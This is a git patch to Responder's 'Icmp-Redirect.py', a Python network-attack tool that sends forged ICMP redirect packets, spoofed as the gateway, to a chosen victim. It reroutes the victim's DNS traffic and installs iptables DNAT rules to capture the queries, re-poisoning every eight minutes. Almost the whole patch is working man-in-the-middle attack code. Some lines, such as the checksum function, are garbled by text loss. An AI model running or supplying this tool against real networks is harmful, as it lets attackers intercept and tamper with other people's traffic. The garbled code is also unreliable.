From df63c1fc138d1682a86bc2114a5352ae897865c6 Mon Sep 17 00:00:00 2001 From: lgandx Date: Sun, 5 Jun 2016 20:25:58 -0500 Subject: [PATCH] Fixed Icmp-Redirect.. --- tools/Icmp-Redirect.py | 397 +++++++++++++++++++++-------------------- 1 file changed, 201 insertions(+), 196 deletions(-) diff --git a/tools/Icmp-Redirect.py b/tools/Icmp-Redirect.py index 45f34ac..100bd92 100755 --- a/tools/Icmp-Redirect.py +++ b/tools/Icmp-Redirect.py @@ -1,6 +1,7 @@ -#!/usr/bin/env python -# This file is part of Responder -# Original work by Laurent Gaffie - Trustwave Holdings +#! /usr/bin/env python +# NBT-NS/LLMNR Responder +# Created by Laurent Gaffie +# Copyright (C) 2014 Trustwave Holdings, Inc. # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by @@ -14,249 +15,253 @@ # # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import os -import sys -import socket -import struct -import optparse -import random -import pipes - +import sys,socket,struct,optparse,random,pipes +from socket import * +sys.path.append('../') +from odict import OrderedDict from random import randrange from time import sleep from subprocess import call from pipes import quote -BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..')) -sys.path.insert(0, BASEDIR) -from odict import OrderedDict -from packets import Packet -from utils import * +parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1', + prog=sys.argv[0], + ) +parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP") + +parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr") + +parser.add_option('-t', '--target',action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP") + +parser.add_option('-r', '--route',action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost") + +parser.add_option('-s', '--secondaryroute',action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2") + +parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface") + +parser.add_option('-a', '--alternate',action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr") -parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1', prog=sys.argv[0],) -parser.add_option('-I', '--interface', action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface") -parser.add_option('-g', '--gateway', action="store", help="The ip address of the original gateway ('route -n' will tell)", metavar="10.20.30.254",dest="OriginalGwAddr") -parser.add_option('-t', '--target', action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP") -parser.add_option('-r', '--route', action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost") -parser.add_option('-s', '--secondaryroute', action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2") -parser.add_option('-a', '--alternate', action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr") options, args = parser.parse_args() -def color(txt, code = 1, modifier = 0): - return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) +if options.OURIP is None: + print "-i mandatory option is missing.\n" + parser.print_help() + exit(-1) if options.OriginalGwAddr is None: - print color("[!]", 1, 1), "-g mandatory option is missing, please provide the original gateway address.\n" - exit(-1) + print "-g mandatory option is missing, please provide the original gateway address.\n" + parser.print_help() + exit(-1) if options.VictimIP is None: - print color("[!]", 1, 1), "-t mandatory option is missing, please provide a target.\n" - exit(-1) + print "-t mandatory option is missing, please provide a target.\n" + parser.print_help() + exit(-1) if options.Interface is None: - print color("[!]", 1, 1), "-I mandatory option is missing, please provide your network interface.\n" - exit(-1) + print "-I mandatory option is missing, please provide your network interface.\n" + parser.print_help() + exit(-1) if options.ToThisHost is None: - print color("[!]", 1, 1), "r mandatory option is missing, please provide a destination target.\n" - exit(-1) + print "-r mandatory option is missing, please provide a destination target.\n" + parser.print_help() + exit(-1) if options.AlternateGwAddr is None: - AlternateGwAddr = FindLocalIP(Interface) + AlternateGwAddr = options.OURIP -Responder_IP = FindLocalIP(Interface) -OriginalGwAddr = options.OriginalGwAddr +#Setting some vars. +OURIP = options.OURIP +OriginalGwAddr = options.OriginalGwAddr AlternateGwAddr = options.AlternateGwAddr -VictimIP = options.VictimIP -ToThisHost = options.ToThisHost -ToThisHost2 = options.ToThisHost2 -Interface = options.Interface +VictimIP = options.VictimIP +ToThisHost = options.ToThisHost +ToThisHost2 = options.ToThisHost2 +Interface = options.Interface -print '###########################################################################' -print '## ICMP REDIRECT UTILITY 0.1 ##' -print '## ##' -print '## This utility combined with Responder is useful on Windows networks ##' -print '## Most Linux distributions discard by default ICMP Redirects. ##' -print '## ##' -print '## Note that if the target is Windows, the poisoning will only ##' -print '## last for 10mn, you can re-poison the target by launching this ##' -print '## utility again. If you wish to respond to the traffic, for example ##' -print '## to DNS queries issued by the target, run these commands as root: ##' -print '## ##' -print '## * iptables -A OUTPUT -p ICMP -j DROP ##' -print '## * iptables -t nat -A PREROUTING -p udp --dst %s ##' % ToThisHost -print '## --dport 53 -j DNAT --to-destination %s:53 ##' % Responder_IP -print '###########################################################################' -print '' +def Show_Help(ExtraHelpData): + help = "\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to laurent.gaffie@gmail.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n" + help+= ExtraHelpData + print help + +MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP) + +class Packet(): + fields = OrderedDict([ + ("data", ""), + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) def GenCheckSum(data): - s = 0 - for i in range(0, len(data), 2): - q = ord(data[i]) + (ord(data[i+1]) << 8) - f = s+q - s = (f & 0xffff) + (f >> 16) - return struct.pack("> 16) + return struct.pack("H", len(CalculateLen)) - # Then CheckSum this packet - CheckSumCalc =str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"]) - self.fields["CheckSum"] = GenCheckSum(CheckSumCalc) + def calculate(self): + self.fields["TID"] = chr(randrange(256))+chr(randrange(256)) + self.fields["SrcIP"] = inet_aton(str(self.fields["SrcIP"])) + self.fields["DestIP"] = inet_aton(str(self.fields["DestIP"])) + # Calc Len First + CalculateLen = str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"])+str(self.fields["Data"]) + self.fields["Len"] = struct.pack(">H", len(CalculateLen)) + # Then CheckSum this packet + CheckSumCalc =str(self.fields["VLen"])+str(self.fields["DifField"])+str(self.fields["Len"])+str(self.fields["TID"])+str(self.fields["Flag"])+str(self.fields["FragOffset"])+str(self.fields["TTL"])+str(self.fields["Cmd"])+str(self.fields["CheckSum"])+str(self.fields["SrcIP"])+str(self.fields["DestIP"]) + self.fields["CheckSum"] = GenCheckSum(CheckSumCalc) class ICMPRedir(Packet): - fields = OrderedDict([ - ("Type", "\x05"), - ("OpCode", "\x01"), - ("CheckSum", "\x00\x00"), - ("GwAddr", ""), - ("Data", ""), - ]) + fields = OrderedDict([ + ("Type", "\x05"), + ("OpCode", "\x01"), + ("CheckSum", "\x00\x00"), + ("GwAddr", ""), + ("Data", ""), - def calculate(self): - #Set the values - self.fields["GwAddr"] = inet_aton(Responder_IP) - # Then CheckSum this packet - CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"]) - self.fields["CheckSum"] = GenCheckSum(CheckSumCalc) + ]) + + def calculate(self): + #Set the values + self.fields["GwAddr"] = inet_aton(OURIP) + # Then CheckSum this packet + CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"]) + self.fields["CheckSum"] = GenCheckSum(CheckSumCalc) class DummyUDP(Packet): - fields = OrderedDict([ - ("SrcPort", "\x00\x35"), #port 53 - ("DstPort", "\x00\x35"), - ("Len", "\x00\x08"), #Always 8 in this case. - ("CheckSum", "\x00\x00"), #CheckSum disabled. - ]) + fields = OrderedDict([ + ("SrcPort", "\x00\x35"), #port 53 + ("DstPort", "\x00\x35"), + ("Len", "\x00\x08"), #Always 8 in this case. + ("CheckSum", "\x00\x00"), #CheckSum disabled. + ]) def ReceiveArpFrame(DstAddr): - s = socket(AF_PACKET, SOCK_RAW) - s.settimeout(5) - Protocol = 0x0806 - s.bind((Interface, Protocol)) - OurMac = s.getsockname()[4] - Eth = EthARP(SrcMac=OurMac) - Arp = ARPWhoHas(DstIP=DstAddr,SenderMac=OurMac) - Arp.calculate() - final = str(Eth)+str(Arp) - try: - s.send(final) - data = s.recv(1024) - DstMac = data[22:28] - DestMac = DstMac.encode('hex') - PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)]) - return PrintMac,DstMac - except: - print "[ARP]%s took too long to Respond. Please provide a valid host.\n"% DstAddr - exit(1) + s = socket(AF_PACKET, SOCK_RAW) + s.settimeout(5) + Protocol = 0x0806 + s.bind((Interface, Protocol)) + OurMac = s.getsockname()[4] + Eth = EthARP(SrcMac=OurMac) + Arp = ARPWhoHas(DstIP=DstAddr,SenderMac=OurMac) + Arp.calculate() + final = str(Eth)+str(Arp) + try: + s.send(final) + data = s.recv(1024) + DstMac = data[22:28] + DestMac = DstMac.encode('hex') + PrintMac = ":".join([DestMac[x:x+2] for x in xrange(0, len(DestMac), 2)]) + return PrintMac,DstMac + except: + print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr) + exit(1) def IcmpRedirectSock(DestinationIP): - PrintMac,DestMac = ReceiveArpFrame(VictimIP) - PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr) - s = socket(AF_PACKET, SOCK_RAW) - s.bind((Interface, 0x0800)) + PrintMac,DestMac = ReceiveArpFrame(VictimIP) + print '[ARP]Target Mac address is :',PrintMac + PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr) + print '[ARP]Router Mac address is :',PrintMac + s = socket(AF_PACKET, SOCK_RAW) + Protocol = 0x0800 + s.bind((Interface, Protocol)) + Eth = Eth2(DstMac=DestMac,SrcMac=RouterMac) + IPPackUDP = IPPacket(Cmd="\x11",SrcIP=VictimIP,DestIP=DestinationIP,TTL="\x40",Data=str(DummyUDP())) + IPPackUDP.calculate() + ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP)) + ICMPPack.calculate() + IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack)) + IPPack.calculate() + final = str(Eth)+str(IPPack) + s.send(final) + print '\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP) - Eth = Eth2(DstMac=DestMac,SrcMac=RouterMac) - - IPPackUDP = IPPacket(Cmd="\x11",SrcIP=VictimIP,DestIP=DestinationIP,TTL="\x40",Data=str(DummyUDP())) - IPPackUDP.calculate() - - ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP)) - ICMPPack.calculate() - - IPPack = IPPacket(SrcIP=OriginalGwAddr,DestIP=VictimIP,TTL="\x40",Data=str(ICMPPack)) - IPPack.calculate() - - final = str(Eth)+str(IPPack) - s.send(final) - - print text("[ICMP-Redir] %s should have been poisoned with a new route for target: %s" % (VictimIP, DestinationIP)) +def FindWhatToDo(ToThisHost2): + if ToThisHost2 != None: + Show_Help('Hit CRTL-C to kill this script') + RunThisInLoop(ToThisHost, ToThisHost2,OURIP) + if ToThisHost2 == None: + Show_Help(MoreHelp) + IcmpRedirectSock(DestinationIP=ToThisHost) + exit() def RunThisInLoop(host, host2, ip): - dns1 = pipes.quote(host) - dns2 = pipes.quote(host2) - Responder_IPadd = pipes.quote(ip) + dns1 = pipes.quote(host) + dns2 = pipes.quote(host2) + ouripadd = pipes.quote(ip) + call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True) + call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True) + print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers." + while True: + IcmpRedirectSock(DestinationIP=dns1) + IcmpRedirectSock(DestinationIP=dns2) + print "[+]Repoisoning the target in 8 minutes..." + sleep(480) - call("iptables -A OUTPUT -p ICMP -j DROP") - call("iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+Responder_IP+":53", shell=True) - call("iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+Responder_IP+":53", shell=True) - - print text("[ICMP-Redir] Automatic mode enabled") - print text("[ICMP-Redir] IPtables rules added for both DNS Servers") - - while True: - print text("[ICMP-Redir] Poisoning target... Next round in 8 minutes.") - try: - IcmpRedirectSock(DestinationIP=dns1) - IcmpRedirectSock(DestinationIP=dns2) - sleep(480) - - except KeyboardInterrupt: - sys.exit("\r%s Exiting..." % color('[*]', 2, 1)) - -if __name__ == "__main__": - if ToThisHost2 is not None: - RunThisInLoop(ToThisHost, ToThisHost2,Responder_IP) - - if ToThisHost2 is None: - print text("[ICMP-Redir] Poisoning target...") - IcmpRedirectSock(DestinationIP=ToThisHost) - print text("[ICMP-Redir] Done.") - exit() +FindWhatToDo(ToThisHost2)